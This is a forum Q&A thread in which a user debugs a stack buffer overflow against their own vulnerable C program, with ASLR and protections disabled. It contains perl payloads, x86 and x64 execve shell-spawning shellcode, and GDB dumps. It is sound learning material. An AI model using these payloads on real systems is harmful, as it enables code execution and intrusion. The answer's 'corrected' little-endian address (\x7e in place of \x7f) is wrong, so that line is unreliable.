S7_0 S7_0 - 4 months ago 14
C Question

I'm trying to exploit a bufferoverflow, am I doing something wrong?

I'm trying to execute a buffer overflow exploit using this tutorial
Everything in my post will be execute directly inside GDB.

https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

and this is the code on which I would like to exploit a buffer overflow.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buff[256];

if (argc == 1)
{
printf("Usage: %s input\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
printf("%s\n", buff);
return (1);
}


I'm currently working on Linux mint 18 and I have a processor 64bits.
Given I have a 64bits architecture. Every address is on 8 bytes.
And now lets imagine my current stakframe.




| buff[256] |




| RBP |




| SAVE RIP |




My goal is to overwrite the "SAVE RIP" by the address of my "nop sled".
Given I'm on an 64bits architecture. I'm going to fill the variable buff with 256 + 8 charactere. the 8 charactere will serve to overwrite the RBP pointer. I'm going to overwrite using perl.

perl -e 'print "\x90" x 264'


And then using the shellcode which is provide in the tutorial I followed

perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'


I subtracted 26 because the shellcode is of length 26.

And now. I'm going to find out what is the address of my nop sled using GDB.

0x00000000004005f6 <+0>: push rbp
0x00000000004005f7 <+1>: mov rbp,rsp
0x00000000004005fa <+4>: sub rsp,0x110
0x0000000000400601 <+11>: mov DWORD PTR [rbp-0x104],edi
0x0000000000400607 <+17>: mov QWORD PTR [rbp-0x110],rsi
0x000000000040060e <+24>: cmp DWORD PTR [rbp-0x104],0x1
0x0000000000400615 <+31>: jne 0x40063d <main+71>
0x0000000000400617 <+33>: mov rax,QWORD PTR [rbp-0x110]
0x000000000040061e <+40>: mov rax,QWORD PTR [rax]
0x0000000000400621 <+43>: mov rsi,rax
0x0000000000400624 <+46>: mov edi,0x400704
0x0000000000400629 <+51>: mov eax,0x0
0x000000000040062e <+56>: call 0x4004c0 <printf@plt>
0x0000000000400633 <+61>: mov edi,0x0
0x0000000000400638 <+66>: call 0x4004e0 <exit@plt>
0x000000000040063d <+71>: mov rax,QWORD PTR [rbp-0x110]
0x0000000000400644 <+78>: add rax,0x8
0x0000000000400648 <+82>: mov rdx,QWORD PTR [rax]
0x000000000040064b <+85>: lea rax,[rbp-0x100]
0x0000000000400652 <+92>: mov rsi,rdx
0x0000000000400655 <+95>: mov rdi,rax
0x0000000000400658 <+98>: call 0x4004a0 <strcpy@plt>
=> 0x000000000040065d <+103>: lea rax,[rbp-0x100]
0x0000000000400664 <+110>: mov rdi,rax
0x0000000000400667 <+113>: call 0x4004b0 <puts@plt>
0x000000000040066c <+118>: mov eax,0x1
0x0000000000400671 <+123>: leave
0x0000000000400672 <+124>: ret


I add a breakpoint juste after the strcpy function. and I'm trying to to find out the begining of the sled nop using

x/x $rsp


which show me

0x7fffffffde20: 0xffffe018


Then I'm going to do

x/s 0x7fffffffde20


and press 'Enter' until I find what I'm looking for.

And now, come the second problem. I found two different address which seem contain the nop sled

0x7fffffffde30: '\220' <repeats 200 times>...
(gdb)
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"


and

0x7fffffffe32d: '\220' <repeats 200 times>...
(gdb)
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"


Not knowing which one to choose, I decided to try both of them. However assuming that I'm using the first one, more precisely 0x7fffffffde30. (without forget to take car of the endianess).

I'll try to execute my code using the following command line:

(gdb) run `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`


then I verify if the RIP was correctly overwrite by the desire address.

(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
source language c.
Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
Saved registers:
rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb)


And we can see that the saved RIP was successfully overwrite by the desire address.
The main problem now is when I press "Continue" my program segfault without open any shell. I follow exactly what it explain in the tutorial so does anyone can explain me:

-Why it segfault when I write 263 byte inside the buffer ? A program can segfault when I overwrite "save RIP", is it the same for RBP ?

-I found out two different address which contain my nop sled, which one have I to choose ?

-And Finally, according to you, did I do something wrong or which seem not logical ? I have no idea why my exploit does work and didn't find nobody else on internet which has the same problem like me.

Thanks

EDIT: I'm compiling using this way

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack

Answer

Why it segfault when I write 263 byte inside the buffer ? A program can segfault when I overwrite "save RIP", is it the same for RBP ?

In your example segmentation fault occurs when a program attempts to access a memory at address 0x30deffffff7f which doesn't belong to it. You wanted to overwrite RIP with 0x7fffffffde30 instead of 0x30deffffff7f but you pass wrong payload. Because you have little-endian architecture in your payload instead of:

... "\x7f\xff\xff\xff\xde\x30"

you need to pass:

... "\x30\xde\xff\xff\xff\x7e"

Also I'm not sure that address of you shellcode is 0x7fffffffde30 because x/s $rsp isn't best way to know it. It is better to use something like:

(gdb) x/300bx $rsp
0x7fffffffd220: 0x18    0xd4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd228: 0xf6    0x77    0xde    0xf7    0x02    0x00    0x00    0x00
0x7fffffffd230: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd238: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd240: 0x90    0x90    0x90    0x90    0x48    0x31    0xff    0x57
0x7fffffffd248: 0x57    0x5e    0x5a    0x48    0xbf    0x2f    0x2f    0x62
0x7fffffffd250: 0x69    0x6e    0x2f    0x73    0x68    0x48    0xc1    0xef
0x7fffffffd258: 0x08    0x57    0x54    0x5f    0x6a    0x3b    0x58    0x0f
0x7fffffffd260: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd268: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd270: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd278: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd280: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd288: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd290: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd298: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd300: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd308: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd310: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd318: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd320: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd330: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd338: 0x40    0xd2    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd340: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd348: 0x18    0xd4    0xff    0xff

In above example shelcode is "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" and address for it can be something like 0x7fffffffd240.

I found out two different address which contain my nop sled, which one have I to choose ?

The first address you find is your buffer char buff[256] and the second is argv[1]. Unix-like systems put argv on the stack so in your example it does not matter which to choose. But in general (for any OS) you need to use the address of char buff[256].

And Finally, according to you, did I do something wrong or which seem not logical ? I have no idea why my exploit does work and didn't find nobody else on internet which has the same problem like me.

The first thing which I have already mentioned above is endianness. You have little-endian machine so you need to pass \x30\xde\xff\xff\xff\x7e instead of \x7f\xff\xff\xff\xde\x30.

The second thing is your shellcode. You are using shellcode from example for x86 program but you need shellcode for x64. You can use something like this:

SECTION .text
global _start
_start:
    xor rdi, rdi
    push rdi
    push rdi
    pop rsi
    pop rdx
    mov rdi, 0x68732f6e69622f2f ; hs/nib//
    shr rdi, 8 ; \x00hs/nib/
    push rdi
    push rsp
    pop rdi
    push 0x3b ; execve
    pop rax
    syscall

Which in bytecode will be:

"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

Hope this helps. Good luck!

Comments